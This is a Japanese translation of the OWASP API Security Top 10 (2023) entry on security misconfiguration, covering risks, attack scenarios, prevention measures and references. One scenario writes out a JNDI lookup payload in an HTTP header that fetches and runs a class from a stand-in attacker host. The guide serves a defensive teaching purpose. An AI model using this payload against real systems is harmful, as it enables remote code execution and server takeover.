API8:2023 セキュリティ設定の不備(Security Misconfiguration)
| Threat agents / Attack vectors(脅威エージェント/攻撃ベクター) | Security Weakness(セキュリティの弱点) | Impacts(影響) |
|---|---|---|
| API 固有:悪用難易度(Exploitability) 容易 攻撃者は、未適用のパッチ、ありふれたエンドポイント、安全でないデフォルト設定 で動作するサービス、保護されていないファイル/ディレクトリを探して、不正アクセス やシステム知識の入手を試みる。多くは公知で、エクスプロイトが流通 していることも多い。 |
蔓延度(Prevalence) 広範 : 検出可能性(Detectability) 容易 セキュリティ設定の不備は ネットワーク層からアプリ層まで API スタックのあらゆる層で起こりうる。不要なサービス や レガシー設定 といったミスコンフィグを 検出・悪用 できる自動化ツールが存在する。 |
技術的影響(Technical) 重大 : ビジネス影響(Business) ケース依存 設定不備は 機微なユーザーデータ だけでなく、サーバ乗っ取り に至るシステム詳細の露出を招く。 |
API は脆弱か?
次のいずれかに当てはまる場合、API は脆弱である可能性があります:
- API スタックのどこかで 適切なハードニング が不足している、または クラウドサービスの権限設定 が不適切
- 最新パッチが未適用、あるいは システムが古い
- 不要な機能(例:不要な HTTP 動詞、過剰なロギング機能)が有効
- HTTP サーバチェーン内のサーバ(LB/プロキシ/バックエンド)で リクエスト処理の不一致 がある
- TLS が未導入
- セキュリティ/キャッシュ制御ヘッダ をクライアントへ送っていない
- CORS ポリシー が欠如、または不適切
- スタックトレース を含むエラーメッセージなど、機微情報を露出
攻撃シナリオ例
シナリオ #1
ある API バックエンドサーバは、人気の OSS
ログユーティリティでアクセスログを出力している。プレースホルダ展開 と JNDI
参照 がデフォルトで有効。各リクエストは
<method> <api_version>/<path> - <status_code> 形式で記録される。
攻撃者が次の API リクエストを送ると、内容がアクセスログに書き込まれる:
GET /health
X-Api-Version: ${jndi:ldap://attacker.com/Malicious.class}
ログユーティリティの 安全でないデフォルト設定 と
送信トラフィックの緩い許可 により、X-Api-Version
の値を展開する過程で、ユーティリティは攻撃者のサーバから Malicious.class を
取得して実行 してしまう。
シナリオ #2
ある SNS は ダイレクトメッセージ 機能を提供し、特定の会話の新着を取得するために次の API を(ユーザー操作なしで)呼び出す:
GET /dm/user_updates.json?conversation_id=1234567&cursor=GRlFp7LCUAAAA
API 応答に Cache-Control ヘッダが含まれない ため、プライベートな会話
がブラウザにキャッシュされ、ファイルシステム上のキャッシュから閲覧
され得る。
防止方法(How To Prevent)
API ライフサイクルには次を含めるべきです:
- 再現可能なハードニングプロセス:堅牢化された環境を 迅速・容易にデプロイ できること
- API スタック全体の設定レビューと更新:オーケストレーション定義、API コンポーネント、クラウドサービス(例:S3 バケット権限)を対象に含める
- 自動化された継続評価:すべての環境で設定・ポリシーの有効性を継続的に評価する仕組み
さらに:
- クライアントから API サーバ、そして上下流コンポーネントまで、全通信を暗号化(TLS) する(内部 API であっても例外なし)。
- 各 API が許可する HTTP 動詞を明示 し、その他(例:
HEAD)は 無効化 する。 -
ブラウザクライアントからのアクセスを想定する API(例:Web フロントエンドが呼ぶ API)は少なくとも:
-
適切な CORS ポリシー を実装
-
該当する セキュリティヘッダ を付与
-
受け入れる コンテンツタイプ/データ形式 を業務・機能要件に限定する。
- HTTP サーバチェーンのすべてのサーバ(LB/リバース・フォワードプロキシ/バックエンド)が、一貫した方法 でリクエストを処理するようにし、デシンク問題 を回避する。
- 必要に応じ、すべての API レスポンスのスキーマ(エラーレスポンスを含む)を定義し強制して、例外トレース や攻撃者に有用な情報の送出を防ぐ。
References
OWASP
- OWASP Secure Headers Project
- Configuration and Deployment Management Testing - Web Security Testing Guide
- Testing for Error Handling - Web Security Testing Guide
- Testing for Cross Site Request Forgery - Web Security Testing Guide
External
- CWE-2: Environmental Security Flaws
- CWE-16: Configuration
- CWE-209: Generation of Error Message Containing Sensitive Information
- CWE-319: Cleartext Transmission of Sensitive Information
- CWE-388: Error Handling
- CWE-444: Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling')
- CWE-942: Permissive Cross-domain Policy with Untrusted Domains
- Guide to General Server Security, NIST
- Let's Encrypt: a free, automated, and open Certificate Authority